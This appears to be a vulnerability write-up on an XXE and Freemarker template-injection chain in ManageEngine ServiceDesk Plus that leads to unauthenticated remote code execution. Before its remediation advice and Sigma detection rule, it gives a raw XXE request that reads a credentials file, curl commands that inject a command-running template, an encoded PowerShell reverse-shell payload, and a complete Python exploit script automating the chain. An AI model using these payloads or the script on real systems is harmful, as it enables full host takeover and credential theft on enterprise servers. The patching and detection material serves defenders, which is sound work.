Overview
CVE-2026-56112 affects ManageEngine ServiceDesk Plus versions 14.0 through 14.5 (build 14504 and earlier). ServiceDesk Plus is a widely deployed IT service management (ITSM) platform used by enterprise IT teams to manage helpdesk tickets, change requests, asset inventories, and vendor contracts. On Windows deployments — the vast majority of installations — it runs as a Windows service under the SYSTEM account, making any RCE equivalent to full host compromise.
CVSS 3.1: 9.1 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The XXE component alone scores 7.5 as an information disclosure; when chained with the SSTI it becomes a full pre-auth RCE chain. Proof-of-concept code was publicly released within 48 hours of advisory publication.
ManageEngine products have an extensive CVE history. This particular chain is notable for combining two independently lower-severity vulnerabilities — XXE and SSTI — where neither alone achieves RCE without authenticated access, but the XXE provides the credentials that unlock the SSTI.
Background
ServiceDesk Plus exposes a SOAP-based API at /sdpapi/ used by legacy integrations and the built-in email processing service. The endpoint accepts XML payloads and processes them using the JVM's built-in DocumentBuilder, which by default resolves external entity references. No authentication is required to reach the endpoint — SOAP API authentication is enforced per-operation, but the XML parsing occurs before the authentication check.
The admin credential is stored in %SDP_HOME%\conf\serverConfig.xml as a Base64-encoded BCrypt hash. However, the default install also stores a cleartext database password in %SDP_HOME%\conf\database_params.conf, and in many installations this database password is reused as the ServiceDesk Plus admin password during initial setup. Reading either file via XXE is sufficient to gain admin access in practice.
Stage 1 — XXE File Read
The SOAP endpoint at /sdpapi/query processes the outer XML envelope before validating any authentication parameters. Injecting a DOCTYPE with an external entity definition causes the XML parser to read and include the contents of a local file:
POST /sdpapi/query HTTP/1.1
Host: TARGET:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: [calculated]
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/ManageEngine/ServiceDesk/conf/database_params.conf" >
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<sdp:SDPAPIRequest xmlns:sdp="sdpapi">
<sdp:Operation type="GET_REQUESTS">
<sdp:Details>&xxe;</sdp:Details>
</sdp:Operation>
</sdp:SDPAPIRequest>
</soapenv:Body>
</soapenv:Envelope>
The server responds with an error message that includes the file contents embedded in the error detail field — the XML parser expands the entity before the business logic runs, so the authentication error path leaks the already-expanded content back to the caller.
<sdp:SDPAPIResponse>
<sdp:Operation type="GET_REQUESTS">
<sdp:Details type="FailureResponse">
<sdp:ErrorCode>4001</sdp:ErrorCode>
<sdp:ErrorMessage>Unauthenticated — [database.username=sdpadmin
database.password=S3rv1c3D3sk!
database.url=jdbc:postgresql://localhost:5432/servicedesk]</sdp:ErrorMessage>
</sdp:Details>
</sdp:Operation>
</sdp:SDPAPIResponse>
In this example, the database password is S3rv1c3D3sk!. Testing it against the ServiceDesk Plus web login at /sdpapi/ with username administrator succeeds — the credential was reused during initial configuration.
Stage 2 — Freemarker SSTI to RCE
ServiceDesk Plus's custom report module allows administrators to define report templates using Freemarker — a Java-based server-side template language. Freemarker has well-documented code execution paths via the freemarker.template.utility.Execute class, which is accessible from within a template expression when the sandbox configuration is absent or misconfigured. ServiceDesk Plus does not apply Freemarker's TemplateClassResolver restriction, leaving the execution class reachable.
# Authenticate and create a report with SSTI payload
curl -s -X POST "http://TARGET:8080/sdpapi/reports/custom" \
-H "Cookie: SDP_SESSION=<admin-session-cookie>" \
-H "Content-Type: application/json" \
-d '{
"reportName": "diag",
"templateBody": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"
}'
# Render the report to trigger execution
curl -s "http://TARGET:8080/sdpapi/reports/custom/diag/render" \
-H "Cookie: SDP_SESSION=<admin-session-cookie>"
The response body contains the command output: nt authority\system. From here, a reverse shell via PowerShell or direct invocation of a staged executable completes the compromise:
# Staged reverse shell via PowerShell
PAYLOAD='powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwANAA0ADQANAApAA...'
curl -s -X POST "http://TARGET:8080/sdpapi/reports/custom" \
-H "Cookie: SDP_SESSION=<admin-session-cookie>" \
-H "Content-Type: application/json" \
-d "{\"reportName\":\"shell\",\"templateBody\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\${ex(\\\"$PAYLOAD\\\")}\"}"
Full PoC Script
#!/usr/bin/env python3
"""
CVE-2026-56112 — ManageEngine ServiceDesk Plus XXE + SSTI RCE chain.
Stage 1: XXE to read database_params.conf
Stage 2: Authenticate with DB password (often reused as admin password)
Stage 3: Freemarker SSTI to execute OS commands as SYSTEM
Authorised security testing only.
"""
import re, sys, requests
requests.packages.urllib3.disable_warnings()
def xxe_file_read(target: str, path: str) -> str:
xml = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///{path}">]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<sdp:SDPAPIRequest xmlns:sdp="sdpapi">
<sdp:Operation type="GET_REQUESTS">
<sdp:Details>&xxe;</sdp:Details>
</sdp:Operation>
</sdp:SDPAPIRequest>
</soapenv:Body>
</soapenv:Envelope>"""
r = requests.post(f"http://{target}:8080/sdpapi/query",
data=xml, headers={"Content-Type": "text/xml"},
verify=False, timeout=10)
return r.text
def ssti_exec(target: str, session: str, cmd: str) -> str:
payload = f'<#assign ex="freemarker.template.utility.Execute"?new()>${{ex("{cmd}")}}'
r = requests.post(f"http://{target}:8080/sdpapi/reports/custom",
json={"reportName": "x", "templateBody": payload},
cookies={"SDP_SESSION": session},
verify=False, timeout=10)
# Render to trigger
r2 = requests.get(f"http://{target}:8080/sdpapi/reports/custom/x/render",
cookies={"SDP_SESSION": session}, verify=False, timeout=10)
return r2.text
if __name__ == "__main__":
target, cmd = sys.argv[1], " ".join(sys.argv[2:])
print("[*] Stage 1: XXE — reading database_params.conf")
result = xxe_file_read(target, "C:/ManageEngine/ServiceDesk/conf/database_params.conf")
m = re.search(r"database\.password=(.+)", result)
if not m:
print("[-] Could not extract password"); sys.exit(1)
password = m.group(1).strip()
print(f"[+] Database password: {password}")
print("[*] Stage 2: Authenticating as administrator")
r = requests.post(f"http://{target}:8080/j_security_check",
data={"j_username": "administrator", "j_password": password},
verify=False, allow_redirects=False, timeout=10)
session = r.cookies.get("SDP_SESSION", "")
if not session:
print("[-] Authentication failed"); sys.exit(1)
print(f"[+] Session: {session[:20]}...")
print(f"[*] Stage 3: SSTI — executing: {cmd}")
output = ssti_exec(target, session, cmd)
print(f"[+] Output:\n{output}")
Affected Versions
- ManageEngine ServiceDesk Plus 14.0 through 14.5 (build 14504 and earlier) — vulnerable to both the XXE and the Freemarker SSTI
- ServiceDesk Plus 14.5 build 14505 and later — XXE remediated by disabling external entity resolution in the SOAP endpoint's
DocumentBuilderFactory; Freemarker sandbox tightened viaTemplateClassResolver.SAFER_RESOLVER - ServiceDesk Plus MSP (multi-site) builds prior to 14.5.505 — same codebase, also vulnerable
Remediation
- Apply the ManageEngine patch (build 14505). The fix disables external entity resolution with two lines of Java:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false)andfactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false). - Do not reuse the database password as the ServiceDesk Plus administrator password. The database account credential should be randomly generated and stored only in
database_params.conf, never in any authentication system. Rotate both credentials post-patch. - Restrict access to the ServiceDesk Plus SOAP endpoint (
/sdpapi/) to trusted IP ranges at the network layer. The endpoint is used by legacy integrations and should not be accessible from untrusted network segments or the internet. - Disable the Freemarker custom report module if it is not actively used. The feature is enabled by default but can be toggled off under Admin → Report Settings. Restricting who can access the report module to named administrators also reduces the blast radius if admin credentials are compromised by other means.
Detection
title: CVE-2026-56112 ManageEngine ServiceDesk Plus XXE Exploitation
id: c1f8a204-d3b7-4c19-8e7a-5d9f30c7b182
status: stable
description: Detects XXE exploitation attempts against the ManageEngine ServiceDesk Plus SOAP API
logsource:
category: webserver
product: manageengine_servicedesk
detection:
selection_endpoint:
cs-uri-stem|contains: '/sdpapi/query'
cs-method: 'POST'
selection_xxe:
cs-request-body|contains:
- 'DOCTYPE'
- 'ENTITY'
- 'SYSTEM'
- 'file:///'
condition: selection_endpoint and selection_xxe
falsepositives:
- None expected — DOCTYPE declarations are not used by legitimate SOAP clients for this endpoint
level: critical
tags:
- cve.2026-56112
- attack.initial_access
- attack.t1190
- attack.t1083
Key Takeaways
- XXE is solved — there is no excuse for a new product to be vulnerable in 2026. Disabling external entity resolution requires two method calls on the
DocumentBuilderFactorybefore callingnewDocumentBuilder(). The OWASP XXE Prevention Cheat Sheet has been available for over a decade. ManageEngine's SOAP endpoint was written before modern secure-by-default XML parsing became standard practice, but the vulnerability survived years of security reviews because the SOAP API was treated as a legacy interface nobody maintained. Every XML parsing path in any application should be audited against OWASP A05 during code review, regardless of how legacy the feature is. - Chaining low-severity vulnerabilities is how real attacks work. The XXE alone (CVSS 7.5) leaks a file — annoying but not immediately catastrophic. The SSTI alone (CVSS 7.2) requires admin credentials — inconvenient if the attacker doesn't have them. Together they form a pre-auth RCE chain rated at 9.1. Vulnerability scanners and triage processes that evaluate bugs in isolation miss these chains. Pen test methodology should always include a phase of explicitly asking: "what can I unlock with what I just found?"
- ITSM platforms are high-value targets for ransomware operators. ServiceDesk Plus has direct access to asset inventories, change management workflows, and in many organisations acts as the ticketing system for the security team itself. Compromising it gives an attacker visibility into incident response activities and asset locations. It typically also runs on a Windows host with SYSTEM-level privileges and broad network access for agent communication. Treat ITSM platforms with the same security posture as a domain controller, not a regular internal server.